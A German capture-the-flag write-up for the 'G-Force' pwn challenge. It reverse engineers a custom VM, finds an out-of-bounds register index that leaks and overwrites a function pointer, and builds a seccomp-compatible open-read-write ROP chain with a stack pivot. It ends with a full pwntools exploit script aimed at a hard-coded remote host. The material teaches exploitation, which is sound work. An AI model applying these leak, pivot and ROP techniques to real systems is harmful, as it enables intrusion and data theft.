# Write-up: G-Force **Kategorie:** Pwn **Schwierigkeitsgrad:** Schwer **Beschreibung:** Eine benutzerdefinierte JIT-kompilierte VM mit einer sicheren Sandbox und Inhaltsfilterung. In dieser Challenge werden wir mit einer benutzerdefinierten Virtual Machine namens "G-Force" konfrontiert. Das Binary ist statisch gelinkt und "stripped" (ohne Symbole), was das Reverse Engineering etwas aufwändiger macht. Uns wird mitgeteilt, dass es einen JIT-Compiler und einen "sicheren, in einer Sandbox isolierten Speicherbereich" hat. --- ## 1. Initiale Analyse Wir beginnen mit der Untersuchung des bereitgestellten Binaries `g_forcevm`. ```bash $ file g_forcevm g_forcevm: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), static-pie linked, BuildID[sha1]=..., for GNU/Linux 3.2.0, stripped ``` Es ist eine **Static PIE** Executable. Das bedeutet, dass sie alle ihre Abhängigkeiten enthält (keine externe libc), aber positionsunabhängig ist (ASLR ist aktiv). Sie ist außerdem **stripped**, wir haben also keine Funktionsnamen. Wenn wir das Binary ausführen, werden wir mit einem Prompt und einem Hilfemenü begrüßt: ```text --- G-FORCE VM v2.0 (Final) --- 4KB Secure Sandbox. Type 'help' for instructions. > help --- G-Force Instruction Set --- General: MOVI R, IMM : Load immediate value into Register R MOVR R1, R2 : Copy value from R2 to R1 ... Meta Commands: execute : Compile and run the current program buffer info : Dump current CPU state ram OFF LEN : Hex dump of RAM at offset debug : Run debug logger ... ``` ## 2. Reverse Engineering Mithilfe von Ghidra analysieren wir das Binary, um die interne Struktur der VM zu verstehen und herauszufinden, wie sie Befehle verarbeitet. ### Die VM-Struktur & das Stack-Layout Bei der Analyse der `main`-Funktion (dekompiliert an Adresse `0x0010ba79`) können wir die Variablen identifizieren, die zur Speicherung des CPU-Status verwendet werden. ```c undefined8 FUN_0010ba79(void) { // ... undefined1 local_20d8 [40]; undefined8 local_20b0; undefined8 local_20a8; code *local_20a0; undefined1 local_2098 [8192]; // ... // Initialisierung thunk_FUN_0012dff0(local_20d8,0,0x40); // memset // RAM-Allokation // FUN_0012ac00 ist wahrscheinlich malloc (oder ein Wrapper). // 0x1000 = 4096 Bytes (4KB) local_20a8 = FUN_0012ac00(0x1000); // Initialisierung des Debug-Funktionszeigers local_20a0 = FUN_00109a22; // Hauptschleife while( true ) { // ... Befehls-Parsing ... iVar2 = thunk_FUN_0012d150(uVar4,"debug"); if (iVar2 == 0) { // VERWUNDBARER AUFRUF (*local_20a0)(local_20a8); } else { iVar2 = thunk_FUN_0012d150(uVar4,"execute"); if (iVar2 == 0) { FUN_00115f80("[*] Compiling %d ops...\n",local_20f8); FUN_0010a2b8(local_20d8,local_2098,local_20f8); // ... } } } } ``` Wir sehen, dass `local_20d8` ein Array von 40 Bytes ist. Dies hält höchstwahrscheinlich die Register (A, B, C, D, SP). Wir sehen, dass `local_20a0` ein Funktionszeiger ist, der auf `0x00109a22` (den Standard-Logger) initialisiert wird. Betrachten wir das Speicher-Layout auf dem Stack genauer: * `local_20d8` (Register) beginnt am Offset `-0x20d8`. * `local_20a8` (RAM-Zeiger) beginnt am Offset `-0x20a8`. * `local_20a0` (Func Ptr) beginnt am Offset `-0x20a0`. Der Abstand zwischen dem Register-Array und dem RAM-Zeiger beträgt `0x20d8 - 0x20a8 = 0x30`, was **48 Bytes** entspricht. Der Abstand zwischen dem Register-Array und dem Funktionszeiger beträgt `0x20d8 - 0x20a0 = 0x38`, was **56 Bytes** entspricht. ### Bestätigung des Layouts über `info` Um zu bestätigen, dass `local_20d8` tatsächlich die Register enthält, können wir die Funktion untersuchen, die für den `info`-Befehl verantwortlich ist (in Ghidra als `FUN_00109cbe` bezeichnet). ```c void FUN_00109cbe(undefined8 *param_1) { FUN_0011d2b0("\n--- CPU STATE ---"); FUN_00115f80("Reg A: 0x%016lx | Reg B: 0x%016lx\n",*param_1,param_1[1]); FUN_00115f80("Reg C: 0x%016lx | Reg D: 0x%016lx\n",param_1[2],param_1[3]); FUN_00115f80("SP : 0x%016lx\n",param_1[5]); FUN_0011d2b0("-----------------"); return; } ``` Diese Funktion nimmt einen Zeiger auf `local_20d8` als Argument entgegen. * `param_1[0]` entspricht **Register A** (Offset 0). * `param_1[1]` entspricht **Register B** (Offset 8). * `param_1[2]` entspricht **Register C** (Offset 16). * `param_1[3]` entspricht **Register D** (Offset 24). * `param_1[5]` entspricht **SP** (Offset 40). Die Tatsache, dass `info` diese Werte direkt aus dem Array `local_20d8` druckt, bestätigt, dass dieser Speicherbereich das Register-File der CPU repräsentiert. ### Rekonstruktion der CPU-Struktur Basierend auf dem Speicher-Layout und der `info`-Funktion können wir die interne `CPU`-Struktur der VM auf dem Stack rekonstruieren: ```c struct CPU_Stack_Layout { uint64_t regs[4]; // Offset 0x00: Register A, B, C, D uint64_t PC; // Offset 0x20: Program Counter / reserviert uint64_t SP; // Offset 0x28: Stack Pointer (Offset 40) uint8_t *ram; // Offset 0x30: Zeiger auf VM-RAM (Offset 48) void (*debug_log)(char*); // Offset 0x38: Funktionszeiger für den 'debug'-Befehl (Offset 56) }; ``` Dies passt perfekt zu unserem rekonstruierten Layout! ### Die Schwachstelle: Out-of-Bounds Registerzugriff Der Befehls-Parser wandelt Registernamen in Indizes um. - `a` -> 0 - `b` -> 1 - `c` -> 2 - `d` -> 3 Jedoch erlaubt die Validierungsfunktion `FUN_001099bf` Buchstaben bis hin zu `h`! ```c int FUN_001099bf(char *param_1) { // ... if ((*param_1 < 'a') || ('h' < *param_1)) { iVar1 = -1; } else { iVar1 = *param_1 + -0x61; } // ... return iVar1; } ``` Wenn wir Register **`g`** (Index 6) verwenden: `Adresse = local_20d8 + (6 * 8) = local_20d8 + 48` -> Dies greift auf den `ram`-Zeiger zu. Wenn wir Register **`h`** (Index 7) verwenden: `Adresse = local_20d8 + (7 * 8) = local_20d8 + 56` -> Dies greift auf den `debug_log`-Funktionszeiger zu! Dies gibt uns zwei mächtige Primitive: 1. **Arbitrary Read (Leak):** `MOVR a, h` liest den Funktionszeiger in das Register `a`. Wir können ihn uns dann über `info` ansehen, um die ASLR-Basisadresse zu leaken. Auf ähnliche Weise leakt `MOVR b, g` die Heap-Basis. 2. **Control Flow Hijack (Kontrollflussübernahme):** `MOVI h, ` ermöglicht es uns, den Funktionszeiger mit einer beliebigen Adresse unserer Wahl zu überschreiben. ### Der "Debug"-Befehl Der `debug`-Befehl ruft die Funktion auf, die in `local_20a0` (Register `h`) gespeichert ist. Er übergibt den RAM-Zeiger (Register `g`) als erstes Argument (`rdi`). ```c // Pseudo-Code für den debug-Befehl if (cmd == "debug") { // local_20a0 zeigt standardmäßig auf default_logger // Wenn wir local_20a0 überschreiben, kontrollieren wir die Ausführung. // Das erste Argument (RDI) ist immer der RAM-Zeiger (local_20a8). (*local_20a0)(local_20a8); } ``` ## 3. Ausnutzungsstrategie: Der Schlachtplan Um das System vollständig zu kompromittieren, müssen wir ASLR umgehen. Da ein Seccomp-Filter eingerichtet ist, müssen wir eine Read/Write/Open-ROP-Chain verwenden, anstatt einfach eine Shell aufzurufen. ### Entdeckung der Seccomp-Sandbox Während der Analyse des Binaries stoßen wir auf eine Funktion `FUN_0010b918`, die früh in `main` aufgerufen wird. Das Dekompilieren dieser Funktion offenbart, wie die in der Beschreibung erwähnte "sichere Sandbox" implementiert ist: ```c void FUN_0010b918(void) { // ... iVar1 = FUN_001636b0(0x26,1,0,0,0); if (iVar1 != 0) { FUN_001161b0("prctl(NO_NEW_PRIVS)"); FUN_00115450(1); } iVar1 = FUN_001636b0(0x16,2,local_68); if (iVar1 != 0) { FUN_001161b0("prctl(SECCOMP)"); FUN_00115450(1); } // ... } ``` Die Funktion `FUN_001636b0` ist ein Wrapper um den `prctl`-Syscall. 1. **`prctl(PR_SET_NO_NEW_PRIVS, 1, ...)`**: Dies wird mit `option = 38` (`0x26`) aufgerufen, was `PR_SET_NO_NEW_PRIVS` entspricht. Dies verhindert, dass der Prozess (und seine Kindprozesse) neue Privilegien erlangt, wodurch `setuid`/`setgid`-Binaries deaktiviert werden. 2. **`prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, ...)`**: Dies wird mit `option = 22` (`0x16`) aufgerufen, was `PR_SET_SECCOMP` entspricht. Das zweite Argument `2` spezifiziert `SECCOMP_MODE_FILTER`. Dies wendet ein BPF-Programm (Berkeley Packet Filter) an, um einzuschränken, welche Systemaufrufe der Prozess tätigen darf. Wegen dieses Seccomp-Filters werden Standard-Ausnutzungstechniken wie der Aufruf von `system("/bin/sh")` oder die Ausführung eines `execve`-Shellcodes fehlschlagen (der Kernel würde den Prozess beenden). Stattdessen müssen wir eine **Open-Read-Write (ORW)** ROP-Chain verwenden, um die Flag-Datei explizit zu öffnen, ihren Inhalt in den Speicher zu lesen und auf die Standardausgabe (stdout) zu schreiben. ### Schritt 1: Adressen leaken (ASLR umgehen) Da das Binary positionsunabhängig ist (PIE), sind alle Code-Adressen randomisiert. Wir müssen herausfinden, wo sich der Code im Speicher befindet. 1. **Code-Adresse leaken:** Wir kopieren den Funktionszeiger in das Register `a` (`MOVR a, h`). 2. **Heap-Adresse leaken:** Wir kopieren den RAM-Zeiger in das Register `b` (`MOVR b, g`). 3. **Den Leak auslesen:** Wir führen diese Befehle aus und verwenden den VM-Befehl `info`, um `Reg A` und `Reg B` auszulesen. Indem wir den bekannten statischen Offset der Logger-Funktion (`0x00109a22`) von `Reg A` abziehen, berechnen wir die **Basisadresse** des Binaries. ### Schritt 2: Die ROP-Chain konstruieren und im RAM platzieren Wir müssen den `syscall` aufrufen (Linux x64 ABI). Die Aufrufkonvention lautet: * `RAX` = System Call Nummer * `RDI` = Argument 1 * `RSI` = Argument 2 * `RDX` = Argument 3 Hier ist, wie jeder Befehl in der Kette konstruiert ist: #### 1. `open("./flag.txt", 0)` * `pop rdi; ret` -> `ADDR_OF_STRING` (Zeiger auf "flag.txt\0") * `pop rsi; ret` -> `0` (O_RDONLY) * `pop rax; ret` -> `2` (SYS_open) * `syscall; ret` #### 2. `read(3, buffer, 0x100)` * `pop rdi; ret` -> `3` (File Descriptor, normalerweise 3, da 0/1/2 Standard sind) * `pop rsi; ret` -> `ADDR_OF_BUFFER` (Zeiger auf beschreibbaren Speicher, z. B. Offset 0x300 im RAM) * `pop rdx; ret` -> `0x100` (Anzahl zu lesender Bytes) * `pop rax; ret` -> `0` (SYS_read) * `syscall; ret` #### 3. `write(1, buffer, 0x100)` * `pop rdi; ret` -> `1` (stdout) * `pop rsi; ret` -> `ADDR_OF_BUFFER` (Zeiger darauf, wo wir das Flag eingelesen haben) * `pop rdx; ret` -> `0x100` (Anzahl zu schreibender Bytes) * `pop rax; ret` -> `1` (SYS_write) * `syscall; ret` **Im RAM platzieren:** Wir schreiben diese gesamte Kette von 64-Bit-Ganzzahlen unter Verwendung des VM-Befehls `SAVER` in den VM-RAM (beginnend bei Offset 0). ### Schritt 3: Den Pivot finden Wir haben eine ROP-Chain, die im Heap liegt (VM-RAM), aber die CPU verwendet den echten Stack. Wir müssen den `RSP` (Stack Pointer) auf unseren RAM zeigen lassen, damit die CPU beginnt, unsere Chain auszuführen. 1. **Das Pivot-Gadget finden:** Wir identifizieren ein "Stack Pivot"-Gadget. Die Verwendung von `ROPgadget` auf dem Binary offenbart ein perfektes Gadget: `mov rsp, rdi; ret` beim Offset `0x000099b8`. 2. **Warum dieses Gadget?** Wenn der `debug`-Befehl aufgerufen wird, ist das erste Argument (`RDI`) ein Zeiger auf den VM-RAM (Register `g`). 3. **Der Auslöser (Trigger):** Wenn wir zu diesem Gadget springen, wird es `RDI` (den RAM-Zeiger) in `RSP` kopieren. Das anschließende `ret` popt dann die ersten 8 Bytes unseres RAMs in den `RIP` und startet so die ROP-Chain. ### Schritt 4: Den Funktionszeiger überschreiben Da die ROP-Chain nun im RAM platziert ist und wir die Adresse unseres Pivot-Gadgets haben, müssen wir den Ausführungsfluss umleiten. 1. **Ziel Register H:** Das Schreiben in das Register `h` überschreibt den Funktionszeiger `debug_log`. 2. **Die Payload:** Wir verwenden `MOVI h, `, um die Standard-Logger-Adresse durch die Adresse unseres Stack-Pivot-Gadgets zu ersetzen. ### Schritt 5: Die Chain auslösen Der letzte Schritt ist die Ausführung des gehijackten Funktionszeigers. 1. **Der Trigger-Befehl:** Wir tippen `execute`, um unsere Writer-Befehle zu kompilieren, und führen dann `debug` aus. 2. **Ausführungsfluss:** * Die `main`-Schleife ruft den Funktionszeiger auf, der in Register `h` steht. * Da wir ihn überschrieben haben, springt er zu `mov rsp, rdi; ret`. * `RDI` enthält den RAM-Zeiger, sodass `RSP` zum RAM-Zeiger wird. * Die CPU führt `ret` aus und popt das erste Gadget aus unserer ROP-Chain im RAM. * Die Kette führt `open`, `read` und `write` aus und gibt das Flag auf unserer Konsole aus! ## 4. Das Lösungs-Skript Hier ist das vollständige Skript `solve.py`. Es automatisiert das Leaken, die Berechnung und die Übermittlung der Payload. ```python #!/usr/bin/env python3 from pwn import * # ============================================================================= # KONFIGURATION # ============================================================================= OFFSET_DEFAULT_LOG = 0x00109a22 HOST = '87.106.77.47' PORT = 1378 # Kontext setzen (wird noch zum packen/entpacken benötigt) exe = './g_forcevm' elf = ELF(exe, checksec=False) context.binary = elf context.log_level = 'info' def start(): # [ÄNDERUNG] remote() anstelle von process() verwenden return remote(HOST, PORT) p = start() def send_cmd(cmd): p.sendline(cmd.encode()) def wait_prompt(): return p.recvuntil(b"> ") log.info(f"--- G-Force Payload Builder (Ziel: {HOST}:{PORT}) ---") wait_prompt() # ----------------------------------------------------------------------------- # SCHRITT 1: LIVE LEAK # ----------------------------------------------------------------------------- log.info("SCHRITT 1: Adressen leaken...") send_cmd("movr a, h") wait_prompt() send_cmd("movr b, g") wait_prompt() send_cmd("saver a, 0") wait_prompt() send_cmd("saver b, 8") wait_prompt() send_cmd("execute") wait_prompt() # Leaks auslesen send_cmd("ram 0 16") p.recvuntil(b"0000: ") dump_line = p.recvline().decode().strip().split() wait_prompt() bytes_all = [int(b, 16) for b in dump_line] leak_logger = 0 for i in range(8): leak_logger += bytes_all[i] << (i*8) leak_heap = 0 for i in range(8): leak_heap += bytes_all[8+i] << (i*8) binary_base = leak_logger - OFFSET_DEFAULT_LOG addr_farm = leak_logger - 0x75 # Gadgets addr_pop_rdi = addr_farm + 0 addr_pop_rsi = addr_farm + 2 addr_pop_rdx = addr_farm + 4 addr_pop_rax = addr_farm + 6 addr_syscall = addr_farm + 8 addr_pivot = addr_farm + 11 log.success(f" Geleakter Logger: {hex(leak_logger)}") log.success(f" Geleakter Heap: {hex(leak_heap)}") log.success(f" Basisadresse: {hex(binary_base)}") log.success(f" Addr Farm: {hex(addr_farm)}") # ----------------------------------------------------------------------------- # SCHRITT 2: CHAIN KONSTRUIEREN # ----------------------------------------------------------------------------- log.info("SCHRITT 2: ROP Chain konstruieren...") chain = [ # --- OPEN("./flag.txt", 0, 0) --- addr_pop_rdi, leak_heap + 0x200, # Zeiger auf "./flag.txt" addr_pop_rsi, 0, addr_pop_rdx, 0, addr_pop_rax, 2, addr_syscall, # --- READ(3, buffer, 100) --- addr_pop_rdi, 3, addr_pop_rsi, leak_heap + 0x300, # Zeiger auf Buffer addr_pop_rdx, 100, addr_pop_rax, 0, addr_syscall, # --- WRITE(1, buffer, 64) --- addr_pop_rdi, 1, addr_pop_rsi, leak_heap + 0x300, addr_pop_rdx, 35, addr_pop_rax, 1, addr_syscall, # --- EXIT(0) --- addr_pop_rdi, 0, addr_pop_rax, 60, addr_syscall, ] # Chain senden i = 0 while i < len(chain): send_cmd(f"movi a,{hex(chain[i])}") wait_prompt() send_cmd(f"saver a,{hex(i*8)}") wait_prompt() i = i+1 # String "./flag.txt" bei Offset 0x200 senden flag_str = b'./flag.txt\0' for i in range(0, len(flag_str), 8): chunk = flag_str[i:i+8].ljust(8, b'\0') val = u64(chunk) send_cmd(f"movi a, {hex(val)}") wait_prompt() send_cmd(f"saver a,{0x200 + i}") wait_prompt() # Platzierung der Chain ausführen send_cmd("execute") p.recvuntil(b"> ") send_cmd("ram 0x00 0x30") p.recvuntil(b"> ") log.success(f" ROP Chain platziert") # ----------------------------------------------------------------------------- # SCHRITT 3: ARM & TRIGGER # ----------------------------------------------------------------------------- log.info("SCHRITT 3: Scharfschalten...") send_cmd(f"movi h,{hex(addr_pivot)}") wait_prompt() send_cmd(f"execute") p.recvuntil(b"> ") log.success(f" Scharfgeschaltet") log.info("Wird ausgeführt...") send_cmd(f"debug") try: # recvall ist hier essenziell, da die Gegenseite die Verbindung nach exit() schließt output = p.recvall(timeout=3) print("\n" + "="*50) print("FINALE AUSGABE:") print(output.decode(errors='ignore')) print("="*50) except Exception as e: log.error(f"Fehler beim Empfangen des Flags: {e}") p.close() ```